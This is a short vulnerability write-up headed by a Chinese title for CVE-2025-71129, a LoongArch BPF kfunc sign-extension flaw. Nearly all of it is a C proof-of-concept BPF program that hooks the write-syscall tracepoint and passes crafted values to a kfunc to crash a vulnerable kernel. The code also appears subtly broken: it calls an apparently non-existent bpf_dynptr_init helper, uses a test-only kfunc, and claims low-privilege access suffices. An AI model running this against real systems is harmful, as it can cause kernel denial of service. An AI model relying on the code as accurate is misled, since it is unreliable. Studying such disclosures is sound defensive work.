CVE-2025-71129: Linux Kernel LoongArch BPF kfunc参数符号扩展缺失导致内核崩溃

// PoC: Linux Kernel LoongArch BPF kfunc Sign Extension Vulnerability // This PoC demonstrates triggering the vulnerability through BPF program // Note: Requires LoongArch architecture and low-privilege local access #include <linux/bpf.h> #include <bpf/bpf_helpers.h> #include <linux/ptrace.h> // Declare kfunc that will be called extern int bpf_kfunc_call_test(struct bpf_dynptr *ctx, int arg1, int arg2); SEC("tracepoint/syscalls/sys_enter_write") int handle_tp(void *ctx) { struct bpf_dynptr ptr; int arg1, arg2; int result; // Initialize dynptr bpf_dynptr_init(&ptr, NULL, 0, 0); // Craft arguments that require sign extension // These values will trigger improper sign extension if not handled correctly arg1 = 0xFFFFFFFF; // Negative value requiring sign extension arg2 = 0x80000000; // Value needing proper extension on 64-bit register // Call kfunc with crafted arguments // On vulnerable kernel: arguments not properly sign-extended // May cause kernel panic or undefined behavior result = bpf_kfunc_call_test(&ptr, arg1, arg2); return 0; } char LICENSE[] SEC("license") = "GPL";